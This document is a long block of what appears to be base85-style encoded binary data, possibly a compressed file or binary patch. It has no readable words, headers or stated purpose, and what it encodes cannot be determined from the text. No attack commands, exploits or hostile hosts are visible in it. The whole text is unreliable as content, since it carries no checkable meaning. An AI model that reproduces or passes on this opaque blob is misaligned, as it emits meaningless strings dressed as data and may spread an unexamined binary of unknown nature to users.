z_qFah^8E8$i9W&Wsw(Oy3CtH3Cb?qlr&GkYPvZ-P5GbEh`UVgbCGmv~Kt0Vx%EDk&+Z>AYq5_al~?h$NSp7=TtY{Y1B%Sq08W_V!~6m<|?22 zHcQD4sDu5loJ9NQWii7ZHiGREGRYW1^%n95G#>pV&{3tjRz3RcvlC^yPs!%rkX0Qb zky|tGGy=CDn+-kezMS-nOpPe)Ws&+?%Tg3%59QIRW7t|W29<&rxWTckjp0Nnjq!vb z3HMz@wLT@=B`D;-e*^S<O|4&e~~sC9l2Sv4t=)Gj~egOJRhn)_VF1@Tpv zqp**~#^|NZ_i4s4r*As2sIBiVxnWBkU9t|z3wDo$47h-a_K}q;_UX-I+8EZ(C7g! zC5R3o9QIge!P=gULlC`sN>KVumJ?ZcL?6uQ+Z_ZViyl0=rimnr!asb(+zl6BbgLhc zj?ztOb9}2vL;tHRuT1Xt_>xEQA(UL@Gf`=96}={sO3N|!ZA8r$9zIlzxk82mpn4IE zksj+{*q0z?!{-4dwbf4mNkF#0alRoA%-Pj=Kwt1dHXnqtrd1mVCJ#0qINg^P1>&ZG zX-4~OYsV<{q>R+})<9frmC?b~xFQGkxZ~6TY@PRhnZEwq|2LsT!G zh;rqF+)|8m+Tg=!^WKy~5+>({+1uI;lh?@TJXW**$iTF-rM`tX)+dBG_jS$`!H|E4ZF^+T-CTrI7H7IW}r4quu z0^gOPAJPL}kjw)5jBjKL2E<=&^O^_`fHZjC-jZuSL=Gj$>C-x8#Dw;leC8o&x7U*? zyicK0(Of-8&E0i5smA=KE(ItaG&_x>F2LJ&)}#l*a@ZlG&s-r*6z%TPiliT9V$}JY zA1aHpU)F>+cV;uWhACmc9R2dmDK9GB@jDgOVkkh9_Aqcof$&#yJP7l-v<~UUcNxU9 zZujn8LOvNL96b^Y@MJ~uPh7PvGT*g}XCZ84)5Uzh7b^d16df$fh#N%m3@$ZJsrP-xXSa8vUMin+eH~m$ zxwTcS!c!K2-+ydP@Oa3=2S90a(;IWc(pOX2uqNbuUSlj@P9E8NAB>&a){pU2gZ-|K zLFS93;6WP5q> z$d~F3cd~~6_<&%QjoC8p?iV9*a=%Agpm0CJP`oO_0^nbJWyLt}^Dn)!S3MianH3bN z*p;eK9<(ZuWGN`5Gvd0PkzA|;%o^EgBUp_YTooCyeCWWyUca<>DB6Q6|I$6Kz~KE# z2fR5Ipw<@WKq8N-LCjZ8<}LUtrGv=Gc<%(NCaDe2zH^tZ6?4wg3P)?m?6Uxu3^e7f zh_b`&f||@=U+9+@|z}OFTR{UdFD;qSf{>rl^rgP6?$X> z0dOzyiI-v4yybrPQN0fh-p8O>1>CYU&e;V)w$yLYg5oz#⁢)gy3H_89Do#CZ|6Q z?_$=m4wPu0DksGSB$UmIPF9fbD^MP2bA~0-lpA1DphwN6<+KLH5y6Ke(!&)$&$ZlQZv5? zL2x8@YsoPT5o@q!_4ELKYgv<|ZDZ zM^y!%0taU>&ma~sO|;vEnOt1ZNjxzi0x+@ji7zuKZi+9t9V3?g8C$~-l8x1Lt0gc` zk%DUf>66gxd%yNc%H@~e`XqMAuYGcL;MYD02>=OFvWaK6K1DeBYoAPW+?q8KSdIkC zt37Fenz=Ss1Dn$}=UAMCrX=7tv;LHsg6qO8uADb*N219VYu|_^L!dY?2;PTPr$h8g zJ1^?WffH$$mhY`WkVuV0RMQ>A2O8@4zO7GT`$BXX5qz?hezJPA#0u+Xqt@W=%X9H} zyDw`Ikp+n*_HSgs*0U95gyNyJ>*=;e3A|w?L`1_6XXqhiOvk)=JfUU zlsyq!Rno2q>@@cKj5ZVtIY%^^2HCxYhLvqtMoft^%4lXvuJufN`>FwB`%u> zVQodIrRah+KzQ{%88=mMM1EerA=9>KrA{se1bxf~#KNuu+i ze|nG(c2N_&-PbB|cFm6zwtP)hB#S+()o?NThG{7A$(%pkdAh7%*g^`X-6loeEu^lG zG4u7|*BRmERHqICSv40BYC=wbhM}jp65ERT0B*Qpiv_7pj6zBK3Y%@cAiwcbO#CCt zcIoroLP@Ka{ootEIQ}j(_|H{N)^J}gQc;)u&F3S!Dbxk>*zqAQ8yWW0{Rc-zS+6uC zF!|%jNu5V$_Osi=Sesvd$;?Ja7!&+zEefvm{z0U(bDDvWGJ*(&unI?22}>~!C(@Jd z!^$vns>x8u(paq{=!_NDTY*a~=`m|G6Wm#L3tbRUG4d}aNI0*0ud7LeB@vd%#^HfY z&9h4P9S}^GZ*!0nNR8#fx@n6`LfG+hxJC%c^A7c)9XtfYy751sde~p!`zlnys#{sojL?Mf1Y?j>CY|yZ}0s3ewq40?_j1i$cEKduadH+12HP z(r>ftuJ%2@S8*M&0yN_%I*zZiYm4xskfd|RtWL(5e!Rfh#N`EQ<|ysbtw5B!0EW;R zXuxi)X|;fFE*FTZEmahzK{EA2c(V|u2(Y->;_*lfIR>&@Zym5X!#FX`n_iYCvT`^K z^Vx}euKo+5u0qvueq=6zg4d{3n!C4J=yLdIY$o_Cn!)2LXxN*E*LQ2ByH^gIiDHDxe^Q{4)?80k z9(HJh0uv$K#w|`=)RM?(sp2Y0UXAw)a}Py``Twv@wk-XMVHcVE%8hZYS$(KV3R?Qian+H4@*U-R> zR@LE(W8(FOzXy}rsxM|OE(31ib36Zt69}bv+O8Hf=9`*R+T&7A>+x7VY zT5O|5?Lumsn4gfY;^ikiZ|N5OAWJ6!{Eds`Op|nGRAAc-a-a?`r^j{!&j|%57TITu z?UPPh*{y3H(S*ooM?pms7~5Qf z_tit{wqjFFydLQ9yfO_$1Q5}JLSBQ)*VzY@kS9*&_|}IEhj&o0D5b#B~egbVs-%S;4vW9kH2UA zaes$hQu{r59KHrI%n@IwD2p_4u3jf>Sw!(5Jcn+aKOycV8`Nek_Jl=Fop7G_{R9;> zXi&-?v*uG1wTASmxWGFt@wDZuQEFg`26xm)mJY_|8VzVx+}W?^NlvZ|L>@5Des zNr+)b^s6Rq0RFWm$Nxr?ASM>L+C_lA@_;!RqQi^h zm7@cZ-CrtN)H#>D4)@ShL3uI$(t-O*hF)pUFCDf^usA)G0;TI$n@2OcfZ;k)efG;< zAg(O9Bsu-QtTp0sT4bILbeg8(wYgR&bxsAQf22-G%+DVxET|N@4 z&-9#$qAdIH`rsTN$(MXcGsKB zn@mK1o=lAban-=Ir|#a`F-*BHe;t-N6c^iScyKwPC5*k|`AfUd-~?leQl*W@lhNA> zcD_T`7gCDqrw~?dp~`C@PUDQd`RwpX^3CU^=+_*egl`o&MFyd&lfo(V*j~|WcMT?T)KnUu`PyxSNo%BKi8Dg97nhT5`Gj521?4A{ zMN!Y(!IDDw26o*|jo2o3Udxm5HHu;`dV58gr;3U8dl4_;D#qa1_mV>ia_(89_8S|R zpEAm$j!CbG7N!A`rR-j=?CkEzUuaxpm0LWPeZXpz&yhR#WFU_Z9&k(h7*%L|*x)^0 zG?aTAd@fb5uyo@AiYme&4DHS%zT&&7Z$krU#p;RXgS0uaQmwfd;g zANpj7`M4vd!23&Hs=-V?b@;J^Pt$v1pp0gnL!(-l*ztPOw_qxUiOB*ll(yOXx|K$0 zn@Ys&u=~!RSna_-z3H#gZSFf16SWt$?#VgHrk3<%(!lahy+maE$YCq1j(Y6rf9604 zs230eJF}O1<*n1sVxd$^XY?4B>SmJw25ADXVA%m+gOXO8DrKlORV0G zYnZhciyf`(nn)t(wzQXD8PEs<^RiRVs57@h!r0o5B1`|r=c*KlMpxaV4gu@tP%h;7^dn?Co7Ox!CU_{0Ee;2JUSeoO8k`MO00>DBHD2X47OD ziqWJO6-FT+jm;hT(M6rScu|P8hx_RC6ksdcUgpU=2^J$mNZsQhF6Ba|6J^_JPyef2VOw>r}l% zBudP{p8RrBQ{~Wfq6`B-K^1MmS#fUK?gd;0O)mxVW$@U!|KsSmvHe_gR+s7u7xst= zi&cxaRZ5-zNMOw3OliEjG+`G3#LPLX<7X2iBmwE(MUj{1ao@=mA&M-_Dx!^;fSKDkBfO73*ZjZJVKhF<#{ADd5@@gF|cfd3oS`^&oatFKo8 z&Elo1SOEZdguX3li@X4!eJ~UB>=Dg_rY>xAk`JydfT3D@Fpn$Q!`EBvss;2*#k|d> zry-6~f0Jsp?0LtAWDOdq0RUDfsF+W41j#b+X_sG!b~!$skFZ!zH^z~h3d_z=LObQo zE|CxR0-eGdtmO4OJaQnSILI_>Sf>dfd^$xqiuST7^~F=FM+_2!GJ<(w;dRKe5$LiK z@(Ak0x5HW`t7BdE>>Jxv8*;S#z!cfXpKjht>{y@4doKILNqD50@Toyd@!FYDn^~%u2 z@T>;AO+QbN_7(3@_ms5AVA5et%+$(Y*CrSW?atZ_Oy_~BC*N5B0NI2!3`=`~F?sLf z!-}!fpes>voP$J>;wt})JrV~6R4i}}AJ#aWJ?`2GIxdT|l0_k-u|%i09|n^zG%sB- z5E;G^3>3e2CIP%KzjQeaFze$w7h0Fzxk;NLbpD$IfM&04^XCv;YT-`l)$7p6?ES(i zkuI~#60y(HgD)O0IPeTLb8mEo%e#|}i@7`5gtgeMc~vt5c@L@k*e_ldtP1j?dXY{6 z`?VZGF8C0RtJ8tR)S(#uEu54)c09#glJ6AOkWZe+8fc4xci?n~V9&(*U_ zl2Q%e>6E!J1Z3Bau%?_7H5tXygtOc9?qOtF?U39(oC>jrj6RH1a03L+84Ws*w{_^l zi7r3T&GZuKaw2Q>htIe;(ukCucm(NHt?#Pmkgf1WbhVZ1x_R_=pcddhx15q7LFL~b z`KWlPm-!5w9c?hZ$6$53M}?NT%`-bxQ$0w$mPmvpEpsiw@8!l^{ak>9TKR0_9ZzI> zTCDe~09`X6YfB3*19JSM{r04sJ^o`%h%JoIs~LA9-Mz#HSQ5ECw0N_RfWE1yZjA3O z_1I8xF!Lh~?k*o44g6BhigDd+ULPLaMjQ3nwkf~<67HG;GPNXdHXr->0Oi>Zl;U3O z+K{Qg5UH!_tek4I{uAnz%5c1PQAO`tm6+uSvK0>6!3BP9r^;TSm{v|_XAT~d#62!Y<9h?_|b)lsQcC2qpx z6(~)PNS3wB5R{1&%;3YIGDk6+l7J@AJO~I}QHH=s#^V;pB+kCoY;KMzjaBAcDRT1g zHDR6H3$KeQ9^TliA+{las7x?^oYS!nJ#KJ2t3*{RcT(@`-+pLbJ0u0oS!dGTRz>04 zSnF{ci8oWGUc=|l1{T32^W{TRl~mGq9U?D#*y419 z^TTv6e5&e|)QLhtbT4HjMY%ms%c|hm57xKGhbz4i=C5|**ZH_McR9EK)_EcKypQkyojI7y!pGr^N4S-3$0xv5w|RC(P!FSv zBR%yFt((q&@eH}Jc0ePWQGpb3I9*ZJS-5}kcHkCc{GB}B+f*;7qioUSNHpczmW|s^ zrZIpn!&o=UR45l9@rX+T!sbks01^SejNYVopI;bNn)Ez*(mX=UB1{9e`I%)6az%mQ zr^)CXQ@6l|gtsF<_mJRVECdUTDuB`LCw^qh8Urd|6QtN^l}$M5XEXjH%bV52&`_c> zto4a-rU*kiNNyGqaPdp(f%R+vAEsG-k(?M~xMz*>id25(79(g?#zPfER)2@66h+iL z>h21d#tZEuV>x55Kd1kzW3l)6ZPpLBW+hLWb`Ur79IV@$X;G};5OsB*KxL6*11W_s zjJB!ky{A`h%ekT5Z*I__hLM=~x1J+d-O#s~q=VANOR%c~o}GGvwh=WP`qG&B>m3oJ znldMm;lBQX;`ri$FmY2hM1I7kF^-9x9HTNe*E2?m1vHtgXB_D zk2nPm>?yXHrOjincabbB-uFe@r*q`DGq1~xyjo_>aU9bt2}uG%&faaPk%cH664w+4 zvzY>j2t3E;9f=*ZtZV^+^AuXEmo1$_gMy-wP@v8cvv~|)L1>!YpcjqReJd&O2~uVm z&8k9(Sk2&*%plOsD!>xU|;f$b|0Z4COft$gHNIf`|521cu5LVogVo2z(; zCW2rEE|4IQ{giB(n4TbeOmsKR zv@=9ay|*9kHW)xe0w#OpS|v%$@nzolH7Oy-4fv2*u)<0-5o5vW^W4+CZ{h)euoF7w zP?X6b=Oz~x(gEOxw>r(p03FKphalHvoVFeQB6=wZyEy7(XPezW)}p6mee>0p=o}rU)u}+-Lga3nXkC z$VfzUM@DaC57}aSO$^66UzY@uX+)}Mrv~inY%XNpT8LySIox_mt2UYi6-RrzFdDCw zMEp0@KD&A*+`x&5@zu|ubg(4$cKI7;2=a@(+=<$D%VjPJ_&?- z-t|Ns@pWdqt-v14)|OncUWx87ylJ;`v`Tw(Q)kLFrc7Ui2hPlgx=1O@I-8aOIR^)xcU zeMOmdIvoUO(YV+p(!5 zqK#I~ak5V)^wZfVS@-lb7>fn%a9thE;(X4>sAIksIcps9JaBm;vVlbSIY}WMmglGo zV9hUB0e7N?Nx>;`W7zh7dnf;C&R&a(75Y0pax;0!2TzSI-9N z>27-#DbfL_IQepryuHs-E~^{S={OSc{#-7jwl_S$bP3=dz+7S2!+=8WsbpRO$neAE zl&9Om%#LgyAZc+`+hJ0q5Lnch8qBP~Ukl=~1YUG1CxvGetsH(6X^q)S4%A0yup%p{474%ax*SP1lrVw`ZCRroYtrag=1yU3(F>*b+#TeX%1 z=9=I;a%lt{0Q+a@{Bk&&gpV6e9nuk0smeHEysGtwir4ahIOIeTaNxd!?PAmWahDzq z6uND7a8kRf!7BQ3mxVNjBHh%PZHK9>5wEN=u5H-M_s5eWb+N6H^m%2nR&S}30R-&W zyCLC)^#osp)^|%m44(tidO7kAm5};F9Q3I;GirmHa202?=|pI2u=Qlsz<}Ospu)$m zfsu(8*hIEnXAZEjZIZ!c>uR^sJ*}&Ij|c;jJe!bah?TQf-krRYo)LM!9Bz@V($)T2 z2oJ$U51OwE9rK}gjw*psk_!u}ubuGY0Ob&WROwb8<;(Mm$N^;IY!nw@cMWpz6a#(i=3l!bacqrPW+k;?bY=d@`n>=3xPO zeH#;JqC=O@;NTyfFb8@h{y~vg>A?mhr811OfbbS=eg(i46f>mSP<)ek#c5p*Ez_k7 zrKPSqYSp?~{k`YNGaZaTF@HMpj21!X2zZR&B*%icdUv?6V}w`an+VWOM!E|)z+idx+e@G{A+uVim^`seNjxg)+BEfMt`QN!^3D*x6J~W>2lX3?D*F zBRzcgB6JF#%;r4~Ff?>0iXd4Vq%UP5KQaA%n&3+b5lj|JC!VwJ&{Wx~V~gUnRy?UpNApj`R}UP?0(6 zry@V{-u??AgzP?+6n(6t0!AX#U+!Ed=Y^dqSEhbxnDOhw;bJO~`i|OiiYwHUMtL$e z*klAibF-cH5xg$5Euyk=Uf1*?Cy=r(6_{vWO8}Q;d312+osScnK+v_`ob8*8t{g=9$mFhFb=ft-RVmjaP@>eH2R&xpk_M|J-cBYCEf7@VzTZ;$U zQIIDeT3M;C9)|OQAj=%1W$Z5xB}V_gYn=9B8+q5#& z@C^eBX!<#6#m8Rm>2++(F|jwN=g}NC14<~;O5uF4 z+F#&Hwjz%VgGdO}P(^|NaYYX27oP_W*cj6UhkOD%%8xnj0*z z$SgCe{alT(H5el5<^piiQHQ?LgUKgVOu zA$)}l|8X*x&j`=E9G!>ClWBaFaq7kdS*XZ_gTrMHYI)UothgM*M_dzWN3Q<67&m1H<{H6><5yZH9EJy{Uum#(&ID2Z zoNW=~vMF>ZjgI=EmV6p8M3Iz&{yCD`K>okAV0{Srupv_Zw(); zPXWE!q&8-LOWmtHYcfcjad4099biZ2PRfk~y6L1V1;=e*?(y`4w9`|6vfs47O{NYA zm?$5eiJI$)k{cIQOs9^T-WQ<^pMi3VgWOH6AJZXtB=>DE?xX1EXJ+DT1k>QZn=W5N zrU$b@1itM^zB>?BEaY>5IXw^{NRkz-=O3;rR;KUFzt#qV+v1_GmW-GHVAZ{6O~_q8 zbaB&3L94SnClF0t1YMOb6Dl9;s$f6W;e#%uT~GqCPtfDvWHmVFV4RYXh@5T4bSJXww~FXhu`YQD^Vt_`mFKe>7SdC0j)6<3Nak4 z3ov*ApPs*SKQV^2V2C*-fJ#&*fR2Xly0kOF2tR!d@1~G zed%VWiV668D&q-^AE=@+IZ*%{X_VO~8UYaQBekL?@k~G>uwB8*AR<~% zZWoF*u+Nt%QFIu=xdqyQ69CakWmnLDCq{VJiPCyl#V?z$9d3*MF|)p%+SomZqsY-c zSQ)XXo6Wcj@fs+z<^B{$X^qTQtc2q1ya)6^Pqg|)HJo}PByKz*&*PjZzEjoLn;;j? z>*^OIr^o#Z&Ia*&(d!fmYl*?>Qri*T`gl~INy4}pl~OUah`|8pjU-=?wdGW>+O5ff z+xiZaEl^aCVJv+o1N(K<1h$Bdvg3Egu={StMK@w&_7X^tKE{0GZ`^52MD!hGnD~>_7{DK#jq%Pdt;@LB*p~ zDA2k7BqhmcF-9ayf+=GTJvXh}v>Ac4-n9-FgcLEysf09nIGE0v0#b}2HIvPuONqUeM zXfS1_?w{x>>)?<)DX!x62N@sh%2%lQ^t~kMHdF9EN?H&J1Jg#(G_n20#rEeO3 z5d`R=HaN}>P9CnylxP0Y+Bw6NLRL2wgIsdY!nIKe6>YpI*)}=j4CR+@UcQrJ4WjPIKa#E{TzHK}0)$R*MeBK(es zn-xJoS7k)a)cnD<_sp;9&=pd*_@fP}a)8T<6i8ltBQ$8+r75NWZZ_Hj+{Y)SQs~f^ zCZb?cf+UaTCorCxcXsP~u$I6L)Zkkjpzz@ArLO|09f=Ozk5KYCaFagwdiNN}m!K4h z&SPxEBSzhODvV&mZcQgMosf3DC{nv(7M3yi`r=c*a=}`Eh}17%$b9`P;CR0qRHT+o z+X4B}P_#vM3+uxX!_bup(2x}$$$X?~gLk2&b-1t7NP<&pbfqFj$6<97Uo81uilfQ$ zj?zGATdU_Seov$VlZ1EuxI|+>&#$nnjPrMb%vH~6>RP(qomaQ|ftK$0BsX!9fAPd0 z5A8SLb~-yVT)#o4y0&@~rSI_CA@9AXbZ#*majYAM&={B{Efy&4Hw-Ln>a z565V<>E=b7F3PGK-IzP2_GsI=7VP0x6y(9M&34gC5@&NQ5JKVh>y8B*yLj}tEdz}0 zak82)Q?a~ieF=qG{`x@5)5#&C&E~9$rlwn^2rwNWSX~rTi8@^X+8vpK-0OnAGr*?+ z-oc^*)JTTb-jka{CzR0^_3F{p0t)6n&x8il!3EKrIT3mqE09B&u2?>Whw}FxzrHl4 zf5V5fa{TM(a^w_0^BlVa&Si&lD})|ME@)h$g<39Ei95ec4ZvjkvCvkfsEnX`!9?e} z>edj4hQt_?Nr*Z@3fNSvt5{Wv7LSXCEfvKxDqP3k4(0BH$P3L|RvpCl;1w_ z=<^SPvB1$=;c(L18#O|Z(-!T3&F`j4x0Z=vct{~9#c3Dq(@hl9_KTtToc-#KdYG6v{ihFDM z8zV|#6M06v_!4s3a_w38Op6yYKCY7xtgZpVv>@P!V5@2^q6O#*V`K_kEs#Klo`Xe0 z<0^-%_9zEgHg0J&I(L;HFdOFY(wdbPM91YdMeNzi)Ph-tBK47x%si40Ha^+Nc%X@K zAs-N4((0fkSVUtF^MIl|@Nsc0%2O;SZXnF`@Gny`&0|(gm}1&4>Yf`QhUe&945J*b z)TP#)IY2=#z$+w|_aAon^p!Mx_SfxypzA844+7I``A&$0|Kx$WEK~o=W5(=npd+l^ zVFmd~cbgo%?T^$)V$+svyh}eS>WCw9GP1)2}&__`4N3BYf&Jh+oBeL#S(dZL3y+g<)A4-YE1Bm!Y%xB6pt5 z@5&=cC=^u*5@M{ll}Q6@W($`dy5#%<`#2lueCJpuZA}P_aYRBpgD)ZZ9hL)4jl71! z8amsxpeicUx$81)0%JDJ8_0U!BnRKvy9RK4kU6E9AqP`MH#Ztx)Cjf9n~Ar13jBI^ zRkxnkaEnUAqepB)#X7_J(jNvDE!4@LlJ;$iZD>y6YUGB8E4z~10i5i>JwR>~G#BZK zzt;YF^@}qZ2W$)2Y!}-1W#HGn?*Q}!Bk@P1Gi-LVN z`iCTPU|kYMShLK+ERW~kd`2_|^luq}0#<_7#W!)GPWLIhzhP)%^b~oRXHovcVc@N$ zoB}{Ic0aBhLlDNVxo@?fad@kq?1+gttvJJ0ISoPEfL%-q4x(9!E)oDYN!rNAZ=4Yq z)O!o>!P|Rx5%`Ag2x=(H^t_$HcNJS)P8^UjE&Hkbi{O}}LrnUD(}I2{lp~MpT!^TNMQ)5^M9Ic0Lcbe zLVVzUZ_2xc6HJ7(C+bEd_Cehyi)|*$uh5U=$tfI9|7mOO{|ooRa5ndgkSSsj?Il&g z?VKfn-n$CKn#9?RHHMgugO|=@<2yP;_(Y?Jth{JF-hqu`08Oe=r^-9IHLCqKw&9Uum*{ z0gKr(W93dFYoiz7LkXwAh1$0frFOQBmuFbwIH0XwUGAA90#OuDBZ)0U4$>y9XkRKf z>!I`L`1d*}iVW}7$*#525Xwr(M}KIm876E;euWyB?0_xL75*8pEPcY0K>PPC;5YA{ zG&noXxJ)`XB~Vt>A(1Svr`n7j?WYHEZ#ex}iD#81w|=1{o)a)QRNCUh>G@J>nH=Kh z7i0aC5_Du1o)Q$@YYHYeh6VV-k0cVjF#hON4iM)b9d#$Li!#|2%A&t_##qN1?5IiK zvctmd=BhRW5P#r0&c^0W4ZD++3d$4DgSwr|cFWag*z!QbI5y!cCtQ(LG@k85jd zd%C&Zw{fO3+s2;N-wtEVQ@Wf(ygJ@kVqtR#TuoAZ!=&Xr9EA4t&*PtTHwVl9KcV(x zosx82nn}^Psi=1R38Zy#P8WcL`^7_O4VTehRY~xsLVPq_a^KLDj>WMkQ3Y&HvUxb8 z7;=}p8d_O9h9GPH2f2SZv;xX?gV^hwgP{jp9LArTru$91J+Ak)X zinjnUs?{KK%CgJz2Z2bZeJ2{`oLTnwa6VQgZ-UwhYH}T9kL(--Kxm(;2)`H}S1Up3 zc@I8y0#Y)HDZW1CUy?~27!km}YL&8q7oro-kus``v9U9cf%f6Xu!t-Pq(}YFKT`S9 z{HBI>B1LvoEcq@kY@g+L1A7mRMP%v-6g~Do_u5vCpXjTDt;0RG^<{m0n zQpSvNKFbyQQ@_or9TOgqy?KA;84(xU)G%vEO5{N=+d|$9^PgORemYbT|4w`w-79}N zEdrVgqMsfb{5w-MZO=ts!nO-#proN0jBQ?AQ`X#6a+W{k_fJBBnaxL28xjJ-Xzkk^ z8wIm?tO<6qwq5jS>zZKmzxAs6mdV`KL{^8lh%riVHg_NGz8%mkp-$>Lrxy=1oo7zd zU`6czJ~#-3!~mtp#~V-#JHNgJIrb!``V$facXTt?u|g&PxX&$RKS8oJkHR0f;xX8D zIwT&sE0<)7I&wb*GN%X!BxNdS%K3J5u6j{Fm2&z&HvwxZmivSHs^jt%>cBY#Ada?- zX>_gIrPRQ?+8hk6jH!SV6951MS*^#5*yMqZnD28iH_tEFfEmPxXmWhQB zI`T@$dd)l}WN1Vv{UqG~K+x=yGk&Un{J1>0KwL)$e_YecX9fD&{k95kX?T8oy0yX) zjypQCcNdt(iKqrz>k(b_-}J>V_oaRC$V2iuu_xCpj>m?Rcc@sj;7HN+(Oqu zvV5*XunxZpACCLzD=Xk6uIqgm2i`+Q%Md2l=hZUt7<<5*DX}l=rN{95(SV;@ zGaOI0@qY2;wyD>^5`{Xcq_oTYh}{?RY4!={Uo{y%C5OiEP?WNiF_kxaj+&mIAe$8J zCSlzi=nTZNjfu#cnE-Le16i>Lu~=W(DT)Nyn_LlvIz1Fo^#eBLqOfODySVAQFA@An z3<7e}V)%bEU*f|St?V$y#g26^2Awj4qE*rhKL;F!p7DZA8hBZ_!&ddOewaW1TUu%M zPO&t!sWRBY;;RZmT*~;>Gtm#vV2>cs>Z>nm@gi@RQCn*P*_Hyf2Q{Ldff7>~b9b4j zesK>RT;KekNe>ax5GvwvNgXZcnYSKU>v^ty%SQ0T+3;;T&A-Rcb+EKn}w-m_K} zk-6F4=x0gKHBtpkLg`hObgZFCT(9W^btj#gfb=OTdA~>*Z|n-yvfy=?#{+mbX0~UJ z?4Mx|Z->_P%gP_olCf|BB13=U)6%nJRBg;9_$>Fjzp0X1J7oTT!^L6BuyPh?TEk{p z+k;tHct?c5hHV~Xg~`V9TY038WKi8xGS|)Z&@v{Pak?UlP?M3M1cUW@nWRMEI>&#_ z9ZRhP#eh2i;w#HN$DEyR{0D3K0E*aaV^_#IbWm_BJXP6) z_?a-Qj;u_x$S=6xabiCXaqJ@XhZb7^rM@Od>g^i02x+zap_(nn{ zT|_Fx$fAU%!eWPU0c&{JFXGPD{-n8_L&VWZgXF(mbtj8M2c6Z3STh#HM-2-k$cEmg zOj+k#X)n=SB%8%J!3Eghy3jyxn4@=ew}fx$toPyQ5& zPkPKDM!d@^*}snRXFlDfEQ%rc>AICB0@)@5YBE@=wb6j!QEho$$CG57JH%HmYG!22 zKYcy|90Wa~rFI$aECu1uFUU~1_$f~(aT3%D7_koA+>#jtmvo!hrQX~|G&}7P|A`9a zw_6^iua#jExIeucPq|}%wvbAlJhYFS?|#)1z`+>XF;=xJa{K&(!&WQi5A*fta7C%U zD2$96ZnibR8>t8QjbiOC{%BVir0oTf+LKM2;yRP8&hxzbt|2XL#nWGWi02D-8Sse z5UIH+F-BHhE;SpRzECX=Vo`lR&3ElF&sr1x!W1oNGzCIZhQiz3SqANe^(fl;n^X-R zmRZp$;@Z;VpN_1I<3%mrf~!zY!yR=g?l*=u|DF>Uc@+j2gpNr=ap6@2ZOH7mYSI>Q zD=aqLyuycgUp=8{D8cpD$`u$6T;t(AY%quE`t5|vFdp5rSUpk`50zmiNo1R!>*+7{ zpLYLKP3uL85q;P`smkwuS!|_h+n(9CI|8n?49RAc{4iI`iJ!I!<5ta7jHH}3zK`HYF`p`mRb(u;_iS&{_j`!ubL6|z`H@U zB$GQpbHA*ycL%UGkWD96cWlJPW&Sp-J}(LYtz1>3nGbpVzt>gw>FotdLPWYUgWhl^ z65RVG++~GYZWOl^4#&E~yvf}5-Wz)Qdo>vTde4vwqMke20MAr14K=vxj{v>`_FG!v z*mM=QMKgvZG{L!RAwjn*Zx4S1PeU84QRr_RHxnbu65;(?&Nv^?$MHkslbam2MI$^1 zSOay-oy)G%O}w#Wg*jX!{c)zIfh786dsGb0)!)_sloTDPm>2$4;6o7Rcs#1kJM;}p zvGb27DZG~lfq@1s-PlyX{VREL9mgh#Cd+&+ucC5A(}lQv|5<*Ca$09q3yeC@Z4C{B z|HVYGu{09$KUvq$2k+F;HY(gzOyR0U*^!$5qqE9x5Ql!lNr7A8@ySEIOd)ZwNy zvXM*R8g5!Cj7y`N0(Rq{IDCnaZ}IOgXu>)i7eiiH&}{Z(Ij3=o#276Fg}LAOjkjr_ zk*_eie()8m6vM)*mjBJtv3A5EQ7~=uS@^xN&*KKI7Js@ReIO`Lo0l3yyuKrv&28Ad zK5=zZKc8c`r&{Brf%-SL0LBH_!;{s^uOyP`flg*bKaQb*;t?w6zN2clAM82L)RMvy z75!`Z?CEjk$w@s%zWS<2HmDR-k`WLTXw9-N;H5P>?e)F0b7v$(|ngBvTy}uL{ zWke$akQ7gk35R`aW#y*0Y~gJ^vardO!TaG4<9~+gj*I1^Cl6EO==>94UuEA}bS@r&W+qm2aJuDm_`6+8`%7L~jEJCYvN#iJ}>m{^hv zgT2=+6)!2MiV6{g`v9){68?v~*NTC+V$1qJErhZpQDk!Nd-p#bWcfp(TTVBK z7SQ`W*su|It&VUe55G4`Nw3`esm=`LUL)?aLj~IFo0d}*FqkWB>&vBt?~LVZz!CB} z{ga$UWTVT44@!=kh%GXtHL|-_Qiismq5u1hr4@cZPo`)guOx-#iXdC zrF&3;sp{xT&AQ6_v%-B9|)e~+EdgGcpt~7-^w+VZMFzW2AGwS{4S)?vRVPof^8MN}^vNyb zsMiGGcKREgs>B699x-9)b$Go;F{AspZ_|cr%@-e%#@W;$+G`@E8%0%<+~fb=`{#uL z9c3^(CPIs4S#2QjNvpa^|KUAA{TmwH1<_mPRl8|}D>ky0@&@P9Od<(t|2}5%RE7mk zmO=vS7*%by2PO%10uNw)9RdewPK<*}R2LN$8PC3Aec%=dtm3U4G8R3$+Nqr&8u2u4 z-eJMyle8%j7zqfGkfyRUuZDg@x1%=E@*3n#mA<0CLpA^EE4du!w{F3i$G&ei8cn8J zm%x-kjk2bKktp{twg1@82@zubV$I1w(ZmUkx)fAR~8KRH)hR93jocsFD&9cgXPrgr7U8>1gm3 zw?Qfk+FELv;<%@VB9-vs_b&=ajb(S2lKd;aCTLyIUvXn{!qrcw|8JY+x)J=d&|IY> z^SI7ZE^n;(VQqa#i~RWdi<&0*u|G}o?wFOG4Jj*h$Z{C4@3`T{Lc#<nur)RLGYB|{ymhPAoL&k@k^OJka8J>+uTD9$Lpc!C9;w)iAQQzTiZBAP;an`*pO5I1%>ISK*~) zk!9&U%iG%_;Na<$)O6Xjj#ODfsKe#2B`9+GH4^6eXSu-_KGpZjcZ7MRtjFB|ycY10ChFx7}Q$ojx@9PIlt&J9$O+}fA;OcciM6(IC z%&oqo3MbM47vVDNBY-c-yhsV%JmZw4*ccq@#tnha(B#GC1l)liIPt=6Z5 zk+LJDV6E2vqnMvHuU=t*OG`z-i!y+3J|4Y_UZ z0Lxc!x#U`e_&?=t1%WgVy-Av=;uE}q%~Sv3bnt#aNzs)!m@mKGyyPF#jqi1KU7u## z*TQP-jI^Ae@ZuYQa)?K2EZ|C_i-g+tFNmAMk)L6==!bl2@;b9^2?Dc40W?XI!fTRC zPHU^&DhkX1c8L(PP|0(vbilA(=oSGlzluAjM7#rjSiaozz4eWcTiA1;d9>cK?&^Jz zVXW1SsYP%oZh@*i3DFXP$8qPEK6Ds+9vHe{p-wOW{E3hAncB}xv>%=6%%7oFbf6)n=nvF@Zd(u=1T}Z`7B1MV46!Otg{bul&C$`qjXAe$i&nKAOa%&$y|?&UePA2( zsL)v%P|czG3PD~(5E^I*0XcSJrC)1I)C*;={3usO1q-7q@)|!X_K8`335R-tBC#E! zB%3?UBU(fww$>g!Au=MTS-I;mjB+fS%6B2XMkVS>Uc0^-sU3cQg2}fZ_zv?E$)Y4M 